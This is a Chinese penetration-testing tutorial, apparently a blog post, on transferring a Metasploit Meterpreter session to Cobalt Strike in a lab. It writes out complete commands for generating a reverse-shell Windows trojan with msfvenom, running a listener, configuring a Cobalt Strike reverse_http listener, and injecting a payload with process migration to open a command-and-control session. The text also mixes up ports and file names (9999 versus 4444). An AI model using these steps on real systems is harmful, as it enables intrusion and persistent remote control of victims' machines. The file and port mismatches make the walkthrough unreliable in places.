CobaltStrike之MSF转发CS联动:原理详解与渗透实战

目录

一、攻击机制作reverse_http木马

二、MSF开启监听

1、监听木马

2、目标靶机运行木马

3、MSF成功建立连接

三、MSF转发会话到CS

1、创建reverse_http监听

(1)打开监听配置面板

(2)创建新监听

(3)配置监听参数

(4)完成配置并启动

2、MSF向已有会话注入反向连接载荷

3、木马上线成功


本文实现从 MSF 初始控制到 CS 持续控制的攻击流程,本文涉及三个角色,如下所示。

| 角色 | IP 地址 | 说明 |
| 攻击机 Kali | 192.168.59.128 | 运行 MSF 的攻击主机 |
| 攻击机 CS | 192.168.59.128 | 运行 CobaltStrike的攻击主机 |

目标靶机 192.168.59.130 被攻击的 Windows 主机

MSF会话迁移到CS的原理、具体步骤和攻击流程图如下所示。

  • MSF 生成 reverse_tcp 木马(lhost=192.168.59.128:4444),配置同 IP 端口监听,传入靶机运行,建立会话。
  • CS 在 192.168.59.128:10086 创建 reverse_http 监听,等待靶机连接。
  • MSF 加载注入模块,基于会话注入指向 CS 192.168.59.128:10086 的 payload。
  • 靶机进程迁移后,经 HTTP 连 CS 192.168.59.128:10086,建立 CS 的 C2 会话。
  • MSF 将会话后台化,CS 基于 10086 端口会话执行后续操作。
复制代码
sequenceDiagram
    participant 攻击机CS
    participant 攻击机Kali(MSF)
    participant 目标靶机
    
    攻击机Kali(MSF) ->> 攻击机Kali(MSF): 1. 使用msfvenom生成reverse_tcp木马(指定lhost=192.168.59.128:4444)
    攻击机Kali(MSF) ->> 攻击机Kali(MSF): 2. 配置multi/handler监听(4444端口,匹配reverse_tcp)
    攻击机Kali(MSF) ->> 目标靶机: 3. 将木马程序传入目标靶机
    目标靶机 ->> 目标靶机: 4. 运行木马程序
    目标靶机 ->> 攻击机Kali(MSF): 5. 主动连接Kali的4444端口
    攻击机Kali(MSF) -->> 目标靶机: 6. 建立Meterpreter会话1(MSF控制)
    
    攻击机CS ->> 攻击机CS: 7. 创建reverse_http监听(192.168.59.128:10086)
    攻击机Kali(MSF) ->> 攻击机Kali(MSF): 8. 加载payload_inject模块,配置reverse_http payload(指向CS的10086端口)
    攻击机Kali(MSF) ->> 目标靶机: 9. 执行注入(基于会话1),目标进程迁移
    目标靶机 ->> 攻击机CS: 10. 通过HTTP协议连接CS的10086端口
    攻击机CS -->> 目标靶机: 11. 建立C2会话(CS控制)

一、攻击机制作reverse_http木马

攻击机Kali的ip地址为192.168.59.128 ,使用msfvenom生成一个恶意的 Windows 可执行文件命名为msf9999.exe,主要用于渗透测试中的反向连接攻击。执行这条命令后,会生成一个名为 msf9999.exe 的恶意程序。当目标 Windows 主机运行这个程序时,它会主动连接到 Kali攻击机192.168.59.128 的 9999 端口。此时如果Kali Linux 机器上使用 Metasploit 的multi/handler模块在 9999 端口监听,就会建立一个 Meterpreter 会话,从而获得对目标主机的控制权。

复制代码
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.59.128  lport=4444 -f exe -o msf4444.exe
  • msfvenom:这是 Metasploit 框架中的一个工具,用于生成各种类型的恶意 payload(攻击载荷)。

  • **-p windows/meterpreter/**reverse_tcp:

    • -p 指定要使用的 payload
    • windows/meterpreter/reverse_tcp 是一个适用于 Windows 系统的 Meterpreter 反向TCP连接 payload
    • Meterpreter 是一种高级的、动态可扩展的 payload,提供了丰富的后渗透功能
  • lhost=192.168.59.128

    • 指定攻击者(Kali Linux)的 IP 地址,即恶意程序连接的目标 IP
    • 这里设置为你的 Kali Linux 机器的 IP 地址 192.168.59.128
  • lport=4444:指定攻击者监听的端口号,即恶意程序连接的目标端口

  • -f exe:指定生成的文件格式为 Windows 可执行文件(.exe)

  • -o msf4444.exe:指定输出文件的名称为 msf4444.exe

二、MSF开启监听

1、监听木马

在攻击者主机上搭建监听环境,配置如下命令,等待目标主机运行恶意程序后主动连接,从而建立控制会话,实现对目标主机的远程控制。

复制代码
msfconsole
use exploit/multi/handler     
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.59.128
set lport 4444
exploit       
  • use exploit/multi/handler

    加载 Metasploit 中的multi/handler模块,这是一个通用的监听模块,用于接收各种类型的反向连接 payload(攻击载荷),是渗透测试中接收反向连接的常用模块。

  • **set payload windows/meterpreter/**reverse_tcp

    设置要监听的 payload 类型,这里指定为windows/meterpreter/reverse_tcp,与之前用msfvenom生成恶意程序时使用的 payload 保持一致,确保通信协议和交互方式匹配。

  • set lhost 192.168.59.128

    设置监听的本地 IP 地址,即攻击者 Kali Linux 机器的 IP(192.168.59.128),用于接收目标主机的反向连接。

  • set lport 4444

    设置监听的端口号(4444),需与生成恶意程序时指定的lport保持一致,确保目标主机连接到正确的端口。

  • exploit

    执行监听操作,此时 Metasploit 会在 192.168.59.128 的 4444端口上等待目标主机运行恶意程序并发起连接。

2、目标靶机运行木马

将木马msf4444.exe上传到目标靶机中并运行,如下所示。

3、MSF成功建立连接

复制代码
meterpreter > background
[*] Backgrounding session 1..
  • 当目标主机运行msf9999.exe后,这里会建立连接并获得一个 Meterpreter 会话。

  • meterpreter > background

    当成功获取meterpreter会话后,输入background命令可将当前会话放入后台运行,注意此命令运行后显示session会话为1.此时可以继续在 Metasploit 中执行其他操作(如加载新模块、发起新攻击等),而不影响已建立的会话(后续可通过sessions命令查看和切换会话).

三、MSF转发会话到CS

1、创建reverse_http监听

(1)打开监听配置面板

在 Cobalt Strike 主界面点击顶部菜单栏的 Cobalt Strike → Listeners ,或使用快捷键 Ctrl+L 打开监听管理窗口。

(2)创建新监听

点击监听窗口中的 Add 按钮,弹出新建监听配置对话框。

(3)配置监听参数

创建监听,ip地址填写Kali主机(即192.168.59.128),端口号本文设置为10086。

  • Name:msf2cs
  • Payload :选择 windows/meterpreter/reverse_http(与 msf 生成木马类型一致载荷)
  • Host :填写 Kali 主机的 IP 地址 192.168.59.128(即监听端 IP)。
  • Port :填写端口号 10086(需与后续生成或使用的木马中指定的端口一致)。

(4)完成配置并启动

确认参数无误后点击 Save,新创建的监听会出现在列表中,状态为 "已启动",等待目标主机上的木马程序发起连接。

2、MSF向已有会话注入反向连接载荷

在 Metasploit 框架中利用已有的会话(session)进行本地渗透测试的操作,主要用于在目标 Windows 主机上注入新的反向连接载荷。

复制代码
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.59.128
set lport 10086
set DisablePayloadHandler True
set PrependMigrate True
set session 1
  • use exploit/windows/local/payload_inject

    加载 Metasploit 中的windows/local/payload_inject模块,这是一个本地渗透模块,用于在已获取的会话中注入新的 payload(攻击载荷),通常用于权限维持、会话迁移或切换连接方式。

  • set payload windows/meterpreter/reverse_http

    设置要注入的 payload 类型为windows/meterpreter/reverse_http,这是一个通过 HTTP 协议进行反向连接的 Meterpreter 载荷,与之前可能使用的reverse_tcp相比,HTTP 协议更难被防火墙检测。

  • set lhost 192.168.59.128

    指定新 payload 要连接的攻击者 IP 地址,即你的 Kali 主机 IP(192.168.59.128)。

  • set lport 10086

    指定新 payload 要连接的端口号(10086),需与后续监听端的端口保持一致。

  • set DisablePayloadHandler True

    设置禁用 Metasploit 自动启动对应的监听程序(handler)。这通常用于以下场景:

    • 你已在 Cobalt Strike 或其他工具中提前设置了对应 IP 和端口的监听
    • 你计划手动在 Metasploit 中另行配置监听模块
  • set PrependMigrate True

    启用会话迁移功能,注入 payload 时会自动将进程迁移到一个更稳定的系统进程(如 explorer.exe),避免因原进程崩溃导致会话丢失,提高会话稳定性。

  • set session 1

    指定要操作的已有会话 ID 为 1(即通过session命令可查看的已建立会话),模块将在该会话对应的目标主机上执行 payload 注入。

  • run

    执行当前配置的模块,在目标主机的会话 1 中注入windows/meterpreter/reverse_http payload,注入完成后,目标主机会主动通过 HTTP 协议连接 192.168.59.128 的 10086 端口,此时若有对应的监听程序,将建立一个新的 Meterpreter 会话。

3、木马上线成功

相关推荐
mooyuan天天2 天前
内网渗透之Thinkphp5提权实战+reGeorg代理横向移动(CVE-2018-20062)
内网渗透·横向移动·thinkphp·regeorg·cve-2018-20062·thinkphp代码执行漏洞
Whoami!4 天前
❼⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 离线资源(上)
网络安全·信息安全·metasploit·searchsploit
PyHaVolask1 个月前
Metasploit网络嗅探实战:从数据包捕获到协议分析的完整指南
数据包分析·metasploit·1024程序员节·流量分析·网络嗅探
jieyu11193 个月前
内网后渗透攻击--linux系统(权限维持)
网络安全·内网渗透
jieyu11193 个月前
内网后渗透攻击--域控制器安全(1)
安全·web安全·内网渗透·域控制器安全
人衣aoa4 个月前
PG靶机 - Pelican
web安全·网络安全·渗透测试·内网渗透
jieyu11194 个月前
icmpsh、PingTunnel--安装、使用
内网渗透·隧道技术·工具使用
jieyu11195 个月前
内网后渗透攻击过程(实验环境)--2、权限提升
内网渗透·提权攻击
kp000006 个月前
Tunna工具实战:基于HTTP隧道的RDP端口转发技术
网络安全·内网渗透·安全工具